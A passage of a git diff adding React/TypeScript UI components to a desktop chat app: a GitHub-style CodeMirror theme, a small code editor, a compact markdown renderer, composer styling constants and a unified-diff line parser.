+  string: '#a5d6ff',
+  tag: '#7ee787',
+  type: '#ffa657'
+}
+
+const LIGHT: GithubPalette = {
+  comment: '#6e7781',
+  constant: '#0550ae',
+  entity: '#8250df',
+  fg: '#1f2328',
+  keyword: '#cf222e',
+  number: '#0550ae',
+  string: '#0a3069',
+  tag: '#116329',
+  type: '#953800'
+}
+
+function makeHighlightStyle(p: GithubPalette): HighlightStyle {
+  return HighlightStyle.define([
+    { color: p.keyword, tag: [t.keyword, t.modifier, t.controlKeyword, t.operatorKeyword, t.moduleKeyword] },
+    { color: p.string, tag: [t.string, t.special(t.string), t.attributeValue] },
+    { color: p.tag, tag: [t.regexp, t.escape] },
+    { color: p.comment, fontStyle: 'italic', tag: [t.comment, t.lineComment, t.blockComment, t.docComment] },
+    {
+      color: p.entity,
+      tag: [
+        t.function(t.variableName),
+        t.function(t.propertyName),
+        t.definition(t.function(t.variableName)),
+        t.labelName
+      ]
+    },
+    { color: p.number, tag: [t.number, t.bool, t.atom] },
+    { color: p.constant, tag: [t.constant(t.variableName), t.standard(t.variableName)] },
+    { color: p.type, tag: [t.typeName, t.className, t.namespace] },
+    { color: p.tag, tag: [t.tagName] },
+    { color: p.constant, tag: [t.attributeName, t.propertyName] },
+    { color: p.fg, tag: [t.variableName] },
+    { color: p.fg, tag: [t.operator, t.punctuation, t.separator, t.bracket, t.angleBracket, t.derefOperator] },
+    { color: p.comment, tag: [t.meta, t.processingInstruction] },
+    { color: p.constant, tag: [t.link, t.url], textDecoration: 'underline' },
+    { color: p.constant, fontWeight: 'bold', tag: [t.heading] },
+    { fontWeight: 'bold', tag: [t.strong] },
+    { fontStyle: 'italic', tag: [t.emphasis] },
+    { color: p.keyword, tag: [t.deleted, t.invalid] }
+  ])
+}
+
+const DARK_STYLE = makeHighlightStyle(DARK)
+const LIGHT_STYLE = makeHighlightStyle(LIGHT)
+
+// Editor chrome (caret, selection, active line, gutters) on a transparent
+// background so the pane surface shows through, paired with the matching
+// GitHub highlight style.
+export function githubEditorTheme(dark: boolean): Extension {
+  const p = dark ? DARK : LIGHT
+
+  return [
+    EditorView.theme(
+      {
+        '&': { backgroundColor: 'transparent', color: p.fg },
+        '&.cm-focused .cm-selectionBackground, .cm-content ::selection, .cm-selectionBackground': {
+          backgroundColor: dark ? 'rgba(56,139,253,0.25)' : 'rgba(84,174,255,0.28)'
+        },
+        // Match the read view's gutter: dim, right-aligned line numbers.
+        '.cm-content': { caretColor: p.fg },
+        '.cm-cursor, .cm-dropCursor': { borderLeftColor: p.fg },
+        '.cm-gutters': { backgroundColor: 'transparent', border: 'none' }
+      },
+      { dark }
+    ),
+    syntaxHighlighting(dark ? DARK_STYLE : LIGHT_STYLE)
+  ]
+}
diff --git a/ui-desktop/src/components/chat/code-editor.tsx b/ui-desktop/src/components/chat/code-editor.tsx
new file mode 100644
index 000000000..b3041b866
--- /dev/null
+++ b/ui-desktop/src/components/chat/code-editor.tsx
@@ -0,0 +1,392 @@
+import { defaultKeymap, history, historyKeymap, indentWithTab } from '@codemirror/commands'
+import { bracketMatching, indentOnInput, LanguageDescription } from '@codemirror/language'
+import { languages } from '@codemirror/language-data'
+import { Compartment, EditorState } from '@codemirror/state'
+import { Decoration, drawSelection, EditorView, keymap, lineNumbers } from '@codemirror/view'
+import { type RefObject, useEffect, useRef } from 'react'
+
+import { tryFormatJson } from '@/lib/json-format'
+import { cn } from '@/lib/utils'
+import { useTheme } from '@/themes/context'
+
+import { githubEditorTheme } from './code-editor-theme'
+
+type FormatOutcome = { ok: true } | { ok: false; error: string }
+
+function applyFormatJson(view: EditorView, onError?: (error: string) => void): FormatOutcome {
+  const text = view.state.doc.toString()
+  const result = tryFormatJson(text)
+
+  if (!result.ok) {
+    onError?.(result.error)
+
+    return result
+  }
+
+  if (result.text !== text) {
+    view.dispatch({ changes: { from: 0, insert: result.text, to: view.state.doc.length } })
+  }
+
+  return { ok: true }
+}
+
+/** Imperative surface for callers that drive selection from outside (e.g. a
+ *  config list focusing its block in the document). */
+export interface CodeEditorApi {
+  formatJson: () => FormatOutcome
+  setCursor: (pos: number) => void
+}
+
+interface CodeEditorProps {
+  apiRef?: RefObject<CodeEditorApi | null>
+  className?: string
+  /** Read-only: block edits (e.g. while a save is in flight) without unmounting. */
+  disabled?: boolean
+  /** Mod-Shift-F + `apiRef.formatJson()`. In-memory JSON docs only. */
+  formatJson?: boolean
+  /**
+   * Standalone chrome: rounded border on an outer shell. The CodeMirror surface
+   * inside is identical to pane previews (no extra inset). Off by default.
+   */
+  framed?: boolean
+  filePath: string
+  /** Character range to wash with a subtle background (the "you are here" block). */
+  highlight?: null | { from: number; to: number }
+  // Read once at mount. To load a different file or discard edits, remount the
+  // component (give it a new React `key`) rather than pushing a new value in.
+  initialValue: string
+  onCancel?: () => void
+  onChange: (value: string) => void
+  /** Button or Mod-Shift-F. */
+  onFormatJsonError?: (error: string) => void
+  /** Fires with the primary cursor offset whenever the selection moves. */
+  onCursorChange?: (pos: number) => void
+  onSave?: () => void
+}
+
+// Focus treatment for the active range: a subtle wash on its lines, and
+// everything OUTSIDE dimmed — the document recedes so the block you're in
+// reads as "you are here".
+function blockHighlight(range: { from: number; to: number }) {
+  return EditorView.decorations.compute([], state => {
+    const clamp = (pos: number) => Math.max(0, Math.min(pos, state.doc.length))
+    const active = Decoration.line({ class: 'cm-clawcodex-active-block' })
+    // Inline style, not a theme class: theme rules are scoped per-extension
+    // and line opacity must never lose that fight.
+    const dimmed = Decoration.line({ attributes: { style: 'opacity:0.5;transition:opacity 120ms ease-out' } })
+    const first = state.doc.lineAt(clamp(range.from)).number
+    const last = state.doc.lineAt(clamp(range.to)).number
+    const marks = []
+
+    for (let n = 1; n <= state.doc.lines; n++) {
+      marks.push((n >= first && n <= last ? active : dimmed).range(state.doc.line(n).from))
+    }
+
+    return Decoration.set(marks)
+  })
+}
+
+function baseName(filePath: string): string {
+  const cleaned = filePath.replace(/[\\/]+$/, '')
+
+  return (
+    cleaned
+      .slice(cleaned.lastIndexOf('/') + 1)
+      .split('\\')
+      .pop() ?? cleaned
+  )
+}
+
+// Mirror SourceView's geometry/typography 1:1 so toggling preview⇄edit never
+// shifts the file. CM's base stylesheet targets some of these with two-class
+// selectors (e.g. `.cm-lineNumbers .cm-gutterElement`) that out-specify a bare
+// `.cm-gutterElement` rule, so we match that specificity to win. SourceView
+// reference: font var(--font-mono)/0.7rem/400, 1.25rem rows, gutter w-9 + pr-2
+// (muted/55), code 0.625rem line inset.
+const MONO_FONT = 'var(--font-mono)'
+const ROW_HEIGHT = '1.25rem'
+const CODE_SIZE = '0.7rem'
+const GUTTER_COLOR = 'color-mix(in oklab, var(--muted-foreground) 55%, transparent)'
+
+const LAYOUT_THEME = EditorView.theme({
+  '&': {
+    WebkitFontSmoothing: 'antialiased',
+    backgroundColor: 'transparent',
+    height: '100%'
+  },
+  // CM's base theme ships `.cm-content { padding: 4px 0 }` (~5px top/bottom).
+  // Zero it explicitly so pane + framed interiors match SourceView flush-top.
+  '.cm-content': {
+    fontFamily: MONO_FONT,
+    fontSize: CODE_SIZE,
+    fontWeight: '400',
+    lineHeight: ROW_HEIGHT,
+    padding: '0',
+    paddingBottom: '0',
+    paddingTop: '0'
+  },
+  '.cm-gutters': {
+    backgroundColor: 'transparent',
+    border: 'none',
+    color: GUTTER_COLOR,
+    fontFamily: MONO_FONT,
+    fontSize: CODE_SIZE
+  },
+  // Two-class selector to beat CM's base `.cm-lineNumbers .cm-gutterElement`.
+  '.cm-lineNumbers .cm-gutterElement': {
+    boxSizing: 'border-box',
+    fontVariantNumeric: 'tabular-nums',
+    fontWeight: '400',
+    lineHeight: ROW_HEIGHT,
+    minWidth: '2.25rem',
+    padding: '0 0.5rem 0 0',
+    textAlign: 'right'
+  },
+  '.cm-line': {
+    fontFamily: MONO_FONT,
+    fontSize: CODE_SIZE,
+    fontWeight: '400',
+    lineHeight: ROW_HEIGHT,
+    padding: '0 0.625rem'
+  },
+  '.cm-scroller': {
+    fontFamily: MONO_FONT,
+    fontSize: CODE_SIZE,
+    lineHeight: ROW_HEIGHT,
+    overflow: 'auto'
+  },
+  '.cm-clawcodex-active-block': {
+    backgroundColor: 'color-mix(in srgb, var(--dt-foreground) 5%, transparent)'
+  }
+})
+
+// Framed = prose editing (SOUL.md, skills, memories): no line-number gutter (it
+// shoved text right and made the left inset dwarf the top), and zero the line's
+// own horizontal padding so the host's uniform `p-2` is the ONLY inset — even
+// breathing room on all four sides. Long lines wrap rather than scroll.
+const FRAMED_THEME = EditorView.theme({
+  '.cm-line': { padding: '0' }
+})
+
+// A deliberately small CodeMirror 6 surface for *spot edits* — not an IDE: line
+// numbers, history, selection, bracket matching, syntax highlighting. No fold
+// gutter, autocomplete, or active-line chrome, so it reads like the preview it
+// replaces. It owns its own buffer; the parent tracks dirty via `onChange` and
+// resets by remounting. ⌘/Ctrl+S and ⌘/Ctrl+Enter save; Esc cancels; the app's
+// light/dark mode is followed live without losing the cursor.
+export function CodeEditor({
+  apiRef,
+  className,
+  disabled = false,
+  formatJson = false,
+  framed = false,
+  filePath,
+  highlight,
+  initialValue,
+  onCancel,
+  onChange,
+  onCursorChange,
+  onFormatJsonError,
+  onSave
+}: CodeEditorProps) {
+  const { resolvedMode } = useTheme()
+  const hostRef = useRef<HTMLDivElement | null>(null)
+  const viewRef = useRef<EditorView | null>(null)
+  const languageConf = useRef(new Compartment())
+  const themeConf = useRef(new Compartment())
+  const highlightConf = useRef(new Compartment())
+  const editableConf = useRef(new Compartment())
+  const onCancelRef = useRef(onCancel)
+  const onChangeRef = useRef(onChange)
+  const onCursorChangeRef = useRef(onCursorChange)
+  const onFormatJsonErrorRef = useRef(onFormatJsonError)
+  const onSaveRef = useRef(onSave)
+  const formatJsonRef = useRef(formatJson)
+  onCancelRef.current = onCancel
+  onChangeRef.current = onChange
+  onCursorChangeRef.current = onCursorChange
+  onFormatJsonErrorRef.current = onFormatJsonError
+  onSaveRef.current = onSave
+  formatJsonRef.current = formatJson
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    const host = hostRef.current
+
+    if (!host) {
+      return
+    }
+
+    const isDark = resolvedMode === 'dark'
+
+    const save = () => {
+      onSaveRef.current?.()
+
+      return true
+    }
+
+    const runFormatJson = () => {
+      if (!formatJsonRef.current || !viewRef.current) {
+        return false
+      }
+
+      applyFormatJson(viewRef.current, error => onFormatJsonErrorRef.current?.(error))
+
+      return true
+    }
+
+    const state = EditorState.create({
+      doc: initialValue,
+      extensions: [
+        // Gutter only outside framed mode — framed prose reads better flush.
+        ...(framed ? [] : [lineNumbers()]),
+        history(),
+        drawSelection(),
+        indentOnInput(),
+        bracketMatching(),
+        keymap.of([
+          ...defaultKeymap,
+          ...historyKeymap,
+          indentWithTab,
+          { key: 'Mod-s', preventDefault: true, run: save },
+          { key: 'Mod-Enter', preventDefault: true, run: save },
+          ...(formatJson ? [{ key: 'Mod-Shift-f', preventDefault: true, run: runFormatJson }] : []),
+          {
+            key: 'Escape',
+            run: () => {
+              if (!onCancelRef.current) {
+                return false
+              }
+
+              onCancelRef.current()
+
+              return true
+            }
+          }
+        ]),
+        languageConf.current.of([]),
+        themeConf.current.of(githubEditorTheme(isDark)),
+        highlightConf.current.of([]),
+        editableConf.current.of(EditorState.readOnly.of(disabled)),
+        EditorView.updateListener.of(update => {
+          if (update.docChanged) {
+            onChangeRef.current(update.state.doc.toString())
+          }
+
+          if (update.selectionSet || update.docChanged) {
+            onCursorChangeRef.current?.(update.state.selection.main.head)
+          }
+        }),
+        LAYOUT_THEME,
+        // Standalone edits (SOUL.md, skills, memories) are prose, not code —
+        // wrap long lines instead of scrolling horizontally, and drop the gutter
+        // inset. Pane previews stay flush/scrolling to mirror their SourceView.
+        ...(framed ? [EditorView.lineWrapping, FRAMED_THEME] : [])
+      ]
+    })
+
+    const view = new EditorView({ parent: host, state })
+    viewRef.current = view
+
+    if (apiRef) {
+      apiRef.current = {
+        formatJson: () => {
+          const view = viewRef.current
+
+          if (!view || !formatJsonRef.current) {
+            return { ok: false, error: 'JSON formatting is not enabled for this editor' }
+          }
+
+          return applyFormatJson(view)
+        },
+        setCursor: pos => {
+          const clamped = Math.max(0, Math.min(pos, view.state.doc.length))
+          view.dispatch({ scrollIntoView: true, selection: { anchor: clamped } })
+          view.focus()
+        }
+      }
+    }
+
+    // Focus on mount so entering edit mode (button or double-click) lands the
+    // caret in the buffer ready to type, no extra click required.
+    view.focus()
+
+    return () => {
+      view.destroy()
+      viewRef.current = null
+
+      if (apiRef) {
+        apiRef.current = null
+      }
+    }
+    // Created once per mount; the parent remounts (via `key`) to load a new
+    // file or discard. Theme/language are applied reactively below.
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [])
+
+  // Load + apply syntax highlighting for the file's language (lazy per language).
+  useEffect(() => {
+    let cancelled = false
+    const description = LanguageDescription.matchFilename(languages, baseName(filePath))
+
+    if (!description) {
+      viewRef.current?.dispatch({ effects: languageConf.current.reconfigure([]) })
+
+      return
+    }
+
+    void description.load().then(support => {
+      if (!cancelled && viewRef.current) {
+        viewRef.current.dispatch({ effects: languageConf.current.reconfigure(support) })
+      }
+    })
+
+    return () => {
+      cancelled = true
+    }
+  }, [filePath])
+
+  useEffect(() => {
+    viewRef.current?.dispatch({
+      effects: themeConf.current.reconfigure(githubEditorTheme(resolvedMode === 'dark'))
+    })
+  }, [resolvedMode])
+
+  const highlightFrom = highlight?.from
+  const highlightTo = highlight?.to
+
+  useEffect(() => {
+    viewRef.current?.dispatch({
+      effects: highlightConf.current.reconfigure(
+        highlightFrom !== undefined && highlightTo !== undefined
+          ? blockHighlight({ from: highlightFrom, to: highlightTo })
+          : []
+      )
+    })
+  }, [highlightFrom, highlightTo])
+
+  useEffect(() => {
+    viewRef.current?.dispatch({ effects: editableConf.current.reconfigure(EditorState.readOnly.of(disabled)) })
+  }, [disabled])
+
+  if (!framed) {
+    return <div className={cn('h-full min-h-0 overflow-hidden', className)} ref={hostRef} />
+  }
+
+  // Border on the shell only — inner body matches preview-file / DetailPane:
+  // <div className="min-h-0 flex-1 overflow-hidden"><CodeEditor /></div>
+  return (
+    <div
+      className={cn(
+        'flex h-full min-h-0 flex-col overflow-hidden rounded-md border border-(--ui-stroke-tertiary)',
+        className
+      )}
+    >
+      {/* Padding lives on the CM *mount node* itself — outside CodeMirror's
+          DOM entirely, so its `.cm-content { padding: 0 }` can't fight it. This
+          is why every prior attempt (Tailwind on .cm-content, scroller padding)
+          lost: they targeted CM-owned nodes. This div isn't one. */}
+      <div className="min-h-0 flex-1 overflow-hidden p-2" ref={hostRef} />
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/chat/compact-markdown.tsx b/ui-desktop/src/components/chat/compact-markdown.tsx
new file mode 100644
index 000000000..45e79440a
--- /dev/null
+++ b/ui-desktop/src/components/chat/compact-markdown.tsx
@@ -0,0 +1,115 @@
+import type { ComponentProps, ElementType, FC } from 'react'
+import { memo } from 'react'
+import { Streamdown } from 'streamdown'
+
+import { ExternalLink } from '@/lib/external-link'
+import { cn } from '@/lib/utils'
+
+// Compact markdown renderer for tool detail bodies. Same Streamdown pipeline
+// as the file preview pane, with tighter typography and external-link routing
+// so tools that emit markdown (tables, headings, links) render properly
+// instead of being dumped as raw text.
+
+const TAG_CLASSES = {
+  blockquote: 'mt-2 mb-2 border-l-2 border-(--ui-stroke-tertiary) pl-2.5 italic text-muted-foreground/85',
+  h1: 'mt-3 mb-1.5 text-sm font-semibold tracking-tight text-foreground first:mt-0',
+  h2: 'mt-3 mb-1.5 text-[0.82rem] font-semibold tracking-tight text-foreground first:mt-0',
+  h3: 'mt-2.5 mb-1 text-[0.78rem] font-semibold text-foreground first:mt-0',
+  h4: 'mt-2 mb-1 text-[0.74rem] font-semibold text-foreground first:mt-0',
+  hr: 'my-2 border-(--ui-stroke-tertiary)',
+  li: 'marker:text-muted-foreground/60',
+  ol: 'mb-2 list-decimal pl-5 last:mb-0',
+  p: 'mb-1.5 leading-relaxed last:mb-0',
+  pre: 'mb-2 overflow-x-auto rounded-md border border-(--ui-stroke-tertiary) bg-background/70 p-2 font-mono text-[0.7rem] leading-[1.55] last:mb-0',
+  td: 'px-2 py-1 align-top leading-snug',
+  th: 'px-2 py-1 text-left text-[0.62rem] font-semibold uppercase tracking-[0.08em] text-muted-foreground/80',
+  thead: 'bg-muted/40',
+  ul: 'mb-2 list-disc pl-5 last:mb-0'
+} as const
+
+function tagged<T extends keyof typeof TAG_CLASSES>(Tag: T) {
+  const Component = (({ className, ...rest }: ComponentProps<T>) => {
+    const Element = Tag as ElementType
+
+    return <Element className={cn(TAG_CLASSES[Tag], className)} {...rest} />
+  }) as FC<ComponentProps<T>>
+
+  Component.displayName = `Md.${Tag}`
+
+  return Component
+}
+
+function MarkdownAnchor({ children, className, href, ...rest }: ComponentProps<'a'>) {
+  if (!href || !/^https?:\/\//i.test(href)) {
+    return (
+      <a className={cn('ref', className)} href={href} {...rest}>
+        {children}
+      </a>
+    )
+  }
+
+  return (
+    <ExternalLink className={className} href={href}>
+      {children}
+    </ExternalLink>
+  )
+}
+
+function MarkdownCode({ className, ...rest }: ComponentProps<'code'>) {
+  return (
+    <code
+      className={cn('rounded bg-muted/80 px-1 py-px font-mono text-[0.86em] text-muted-foreground', className)}
+      {...rest}
+    />
+  )
+}
+
+function MarkdownTable({ className, ...rest }: ComponentProps<'table'>) {
+  return (
+    <div className="mb-2 max-w-full overflow-x-auto rounded-md border border-(--ui-stroke-tertiary) last:mb-0">
+      <table
+        className={cn(
+          'w-full border-collapse text-[0.72rem] [&_tr]:border-b [&_tr]:border-(--ui-stroke-tertiary) last:[&_tr]:border-0',
+          className
+        )}
+        {...rest}
+      />
+    </div>
+  )
+}
+
+const COMPONENTS = {
+  a: MarkdownAnchor,
+  blockquote: tagged('blockquote'),
+  code: MarkdownCode,
+  h1: tagged('h1'),
+  h2: tagged('h2'),
+  h3: tagged('h3'),
+  h4: tagged('h4'),
+  hr: tagged('hr'),
+  li: tagged('li'),
+  ol: tagged('ol'),
+  p: tagged('p'),
+  pre: tagged('pre'),
+  table: MarkdownTable,
+  td: tagged('td'),
+  th: tagged('th'),
+  thead: tagged('thead'),
+  ul: tagged('ul')
+}
+
+export const CompactMarkdown = memo(function CompactMarkdown({
+  className,
+  text
+}: {
+  className?: string
+  text: string
+}) {
+  return (
+    <div className={cn('max-w-full text-xs leading-relaxed text-muted-foreground/90 wrap-anywhere', className)}>
+      <Streamdown components={COMPONENTS} controls={false} mode="static" parseIncompleteMarkdown={false}>
+        {text}
+      </Streamdown>
+    </div>
+  )
+})
diff --git a/ui-desktop/src/components/chat/composer-dock.ts b/ui-desktop/src/components/chat/composer-dock.ts
new file mode 100644
index 000000000..3d2a045b7
--- /dev/null
+++ b/ui-desktop/src/components/chat/composer-dock.ts
@@ -0,0 +1,70 @@
+import { cn } from '@/lib/utils'
+
+/**
+ * The composer surface and the status/queue stack paint ONE shared
+ * `--composer-fill` var. The state ladder (rest / scrolled) lives in styles.css
+ * on `[data-slot='composer-root']`, so the layers can never disagree.
+ */
+export const composerFill = 'bg-(--composer-fill)'
+
+/** Backdrop treatment for the composer input surface. Harmless when the fill
+ *  goes opaque (drawer open) — nothing shows through to blur. */
+export const composerSurfaceGlass = cn(
+  'backdrop-blur-[0.75rem] backdrop-saturate-[1.12] [-webkit-backdrop-filter:blur(0.75rem)_saturate(1.12)]',
+  'transition-[background-color] duration-150 ease-out'
+)
+
+const composerDockEdge = (edge: 'bottom' | 'top') =>
+  cn('border border-border/65', edge === 'top' ? 'rounded-t-2xl border-b-0' : 'rounded-b-2xl border-t-0')
+
+/** Glassy docked card — the status stack / queue. Paints the SAME
+ *  `--composer-fill` as the surface, so rest / scrolled / focused / drawer-open
+ *  all match the composer by construction. */
+export const composerDockCard = (edge: 'bottom' | 'top' = 'top') =>
+  cn(composerDockEdge(edge), composerFill, composerSurfaceGlass)
+
+/** Floating composer panel skin — the `/`·`@`·`?` completion drawer and the
+ *  attach (`+`) menu. Glassy translucent card, hairline border, full radius,
+ *  smallest type, soft nous shadow. Uses an explicit fill (not `--composer-fill`)
+ *  so it renders identically whether mounted inside the composer or portaled out
+ *  of it. Visual skin only — consumers add their own size/position/padding. */
+export const composerPanelCard = cn(
+  'rounded-2xl border border-border/65 shadow-nous text-[length:var(--conversation-tool-font-size)]',
+  'bg-[color-mix(in_srgb,var(--dt-card)_72%,transparent)]',
+  composerSurfaceGlass
+)
+
+/**
+ * A quiet control floating over composer content — the micro-action pills above
+ * the surface, the Open affordance on a hovered link inside it. Full radius,
+ * hairline border, the composer's own fill behind a blur so the text underneath
+ * never shows through. Sized against the composer's control height so a pill
+ * lines up with the chrome it floats above.
+ *
+ * Skin and size only; the call site owns position, width caps, and disabled
+ * state.
+ */
+export const composerFloatingPill = cn(
+  'inline-flex h-(--composer-control-size) shrink-0 cursor-pointer items-center gap-1.5 rounded-full px-2.5',
+  'border border-border/65 bg-(--composer-fill) backdrop-blur-[0.75rem] [-webkit-backdrop-filter:blur(0.75rem)]',
+  'text-xs font-normal text-(--ui-text-secondary) transition-colors',
+  'hover:bg-(--chrome-action-hover) hover:text-foreground'
+)
+
+/**
+ * Shared grid for the chrome-free floating strips that bracket the composer —
+ * the micro-action pills above the surface and the `composer.underside` slot
+ * below it.
+ *
+ * Both are in-flow children of the composer DOCK, siblings of the composer
+ * itself rather than children of it. That's deliberate: the pop-out drag
+ * region is `absolute inset-0` inside the composer, so anything rendered in
+ * there is inside the grab area by construction. Living outside makes that
+ * impossible instead of something the gesture has to exclude.
+ *
+ * One parent and one constant means the two strips share a left edge without
+ * anyone matching numbers across files. Vertical spacing stays at the call
+ * site; the horizontal inset matches the composer's 5px grab margin so the
+ * strips line up with the surface rather than the margin's outer edge.
+ */
+export const composerFloatingStrip = 'flex flex-wrap items-center gap-1.5'
diff --git a/ui-desktop/src/components/chat/diff-lines.tsx b/ui-desktop/src/components/chat/diff-lines.tsx
new file mode 100644
index 000000000..41acc2c7e
--- /dev/null
+++ b/ui-desktop/src/components/chat/diff-lines.tsx
@@ -0,0 +1,677 @@
+'use client'
+
+import * as React from 'react'
+import type { BundledLanguage, ShikiTransformer, ThemedToken } from 'shiki'
+
+import { chunkLines, type LineChunk, useFixedRowWindow } from '@/components/chat/fixed-row-window'
+import { exceedsHighlightBudget, SHIKI_THEME } from '@/components/chat/shiki-highlighter'
+import { shikiLanguageForFilename } from '@/lib/markdown-code'
+import { cn } from '@/lib/utils'
+
+/**
+ * Renders a unified diff for a tool's file edit. Two paths share one parse:
+ *  - `SyntaxDiff` highlights the change *content* in the file's language via
+ *    Shiki, then a per-line transformer paints the add/remove tint on top.
+ *  - `DiffLines` is the color-only fallback (no language, over budget, or while
+ *    Shiki loads).
+ * Both drop git file-headers + `@@` hunk noise and the `+/-` gutter so changes
+ * read by color + a 2px gutter accent, the way Cursor does.
+ */
+type DiffKind = 'add' | 'context' | 'remove'
+
+export interface DiffLine {
+  kind: DiffKind
+  text: string
+  /** 1-based line number in the old/new file (absent on the "other" side of an
+   *  add/remove, and on hunk-separator blanks). Only used when line numbers are
+   *  shown (the preview's full diff). */
+  newNo?: number
+  oldNo?: number
+}
+
+interface ParsedHunk {
+  lines: Array<{ kind: DiffKind; text: string }>
+  newStart: number
+  oldStart: number
+}
+
+// Tint + 2px gutter accent per change kind. Text color is included for the
+// plain renderer; the Shiki path omits it so syntax colors win, layering only
+// the background + border.
+const DIFF_KIND_TINT: Record<DiffKind, string> = {
+  add: 'border-(--ui-diff-add-border) bg-(--ui-diff-add-background)',
+  context: 'border-transparent',
+  remove: 'border-(--ui-diff-remove-border) bg-(--ui-diff-remove-background)'
+}
+
+const DIFF_KIND_TEXT: Record<DiffKind, string> = {
+  add: 'text-(--ui-diff-add-foreground)',
+  context: '',
+  remove: 'text-(--ui-diff-remove-foreground)'
+}
+
+const DIFF_LINE_BASE = 'block min-w-max whitespace-pre border-l-2 px-2.5 py-px'
+const PREVIEW_DIFF_LINE_BASE = 'block h-5 min-w-max whitespace-pre px-2.5 leading-5'
+const PREVIEW_CHUNK_LINES = 200
+const PREVIEW_LINE_PX = 20
+const PREVIEW_OVERSCAN_LINES = 400
+
+// Bleed out of the tool-card body's `p-1.5` so tints/borders run flush to the
+// card edges (rounded corners clip via the card's overflow); compact height
+// with internal scroll like a code block.
+// `overscroll-y-auto` so reaching the box's top/bottom hands the wheel back to
+// the page (no scroll-trap); `overscroll-x-contain` keeps a trackpad's sideways
+// overscroll on long code lines from firing browser back/forward navigation.
+const DIFF_BOX_CLASS =
+  '-mx-1.5 -mb-1.5 max-h-[12rem] max-w-none min-w-0 overflow-auto overscroll-x-contain overscroll-y-auto font-mono text-[0.7rem] leading-relaxed text-(--ui-text-secondary)'
+
+function diffKind(line: string): DiffKind {
+  if (line.startsWith('+') && !line.startsWith('+++')) {
+    return 'add'
+  }
+
+  if (line.startsWith('-') && !line.startsWith('---')) {
+    return 'remove'
+  }
+
+  return 'context'
+}
+
+// Drop the leading +/-/space gutter so changes read by color alone, keeping the
+// rest of the indentation intact.
+function stripDiffMarker(line: string): string {
+  if (diffKind(line) !== 'context' || line.startsWith(' ')) {
+    return line.slice(1)
+  }
+
+  return line
+}
+
+// Git-style unified diffs arrive with a file-header preamble — `diff --git`,
+// `index …`, `--- a/path`, `+++ b/path`, and ClawCodex' own `a/path → b/path`
+// arrow line. That preamble just repeats the path (which the tool row already
+// shows) and reads especially badly for absolute paths (`a//Users/…`). Strip
+// the leading header zone up to the first hunk.
+const DIFF_HEADER_PREFIXES = [
+  'diff --git',
+  'index ',
+  '--- ',
+  '+++ ',
+  'similarity ',
+  'rename ',
+  'new file',
+  'deleted file'
+]
+
+function isArrowHeaderLine(line: string): boolean {
+  const trimmed = line.trim()
+
+  return trimmed.includes('→') && /^\S.*→\s*\S+$/.test(trimmed) && !/^[+\-@]/.test(trimmed)
+}
+
+/** Exported for tests. */
+export function stripDiffFileHeaders(diff: string): string {
+  const lines = diff.split('\n')
+  let start = 0
+
+  for (; start < lines.length; start += 1) {
+    const line = lines[start]
+
+    if (line.startsWith('@@')) {
+      break
+    }
+
+    if (line.trim() === '' || isArrowHeaderLine(line) || DIFF_HEADER_PREFIXES.some(prefix => line.startsWith(prefix))) {
+      continue
+    }
+
+    break
+  }
+
+  return lines.slice(start).join('\n')
+}
+
+function parseHunks(diff: string): ParsedHunk[] {
+  const hunks: ParsedHunk[] = []
+  let active: null | ParsedHunk = null
+
+  for (const line of stripDiffFileHeaders(diff).split('\n')) {
+    if (line.startsWith('@@')) {
+      const match = /@@ -(\d+)(?:,\d+)? \+(\d+)(?:,\d+)? @@/.exec(line)
+
+      if (!match) {
+        active = null
+
+        continue
+      }
+
+      active = { oldStart: Number(match[1]), newStart: Number(match[2]), lines: [] }
+      hunks.push(active)
+
+      continue
+    }
+
+    if (!active || line.startsWith('\\')) {
+      continue
+    }
+
+    active.lines.push({ kind: diffKind(line), text: stripDiffMarker(line) })
+  }
+
+  return hunks
+}
+
+// Cleaned diff → renderable lines: file-headers + `@@` hunks dropped (a blank
+// separator kept between hunks), markers stripped, kind recorded. Old/new line
+// numbers are tracked from each `@@ -a,b +c,d @@` header so a caller that wants
+// a gutter (the preview) can render them; the blank separator carries none.
+function parseDiff(diff: string): DiffLine[] {
+  const hunks = parseHunks(diff)
+
+  if (hunks.length === 0) {
+    // Fallback for unexpected non-hunk payloads.
+    return stripDiffFileHeaders(diff)
+      .split('\n')
+      .map(line => ({ kind: diffKind(line), text: stripDiffMarker(line) }))
+  }
+
+  const out: DiffLine[] = []
+  let emitted = false
+  let oldNo = 1
+  let newNo = 1
+
+  for (const hunk of hunks) {
+    oldNo = hunk.oldStart
+    newNo = hunk.newStart
+
+    if (emitted) {
+      out.push({ kind: 'context', text: '' })
+    }
+
+    for (const line of hunk.lines) {
+      const entry: DiffLine = { kind: line.kind, text: line.text }
+
+      if (line.kind === 'add') {
+        entry.newNo = newNo++
+      } else if (line.kind === 'remove') {
+        entry.oldNo = oldNo++
+      } else {
+        entry.oldNo = oldNo++
+        entry.newNo = newNo++
+      }
+
+      out.push(entry)
+      emitted = true
+    }
+  }
+
+  return out
+}
+
+// Build a full-file diff view anchored to the CURRENT file text. Every current
+// line is emitted from `fullText` with its real new-file line number; hunks only
+// mark those rows as added and insert deleted rows between them. That keeps the
+// preview's SOURCE and DIFF views on the same line map even when git returns
+// compact hunks or removed-only rows.
+function parseFullFileDiff(diff: string, fullText: string): DiffLine[] {
+  const hunks = parseHunks(diff)
+  const fullLines = fullText.split('\n')
+
+  if (hunks.length === 0) {
+    return fullLines.map((text, index) => ({ kind: 'context', newNo: index + 1, oldNo: index + 1, text }))
+  }
+
+  const added = new Set<number>()
+  const oldNoByNewNo = new Map<number, number>()
+  const removalsByNewNo = new Map<number, DiffLine[]>()
+  const out: DiffLine[] = []
+
+  for (const hunk of hunks) {
+    let oldNo = hunk.oldStart
+    let newNo = hunk.newStart
+
+    for (const line of hunk.lines) {
+      if (line.kind === 'add') {
+        added.add(newNo)
+        newNo += 1
+      } else if (line.kind === 'remove') {
+        const anchor = Math.max(1, Math.min(newNo, fullLines.length + 1))
+        const bucket = removalsByNewNo.get(anchor) ?? []
+
+        bucket.push({ kind: 'remove', oldNo, text: line.text })
+        removalsByNewNo.set(anchor, bucket)
+        oldNo += 1
+      } else {
+        oldNoByNewNo.set(newNo, oldNo)
+        oldNo += 1
+        newNo += 1
+      }
+    }
+  }
+
+  for (let index = 0; index < fullLines.length; index += 1) {
+    const newNo = index + 1
+    const removals = removalsByNewNo.get(newNo)
+
+    if (removals) {
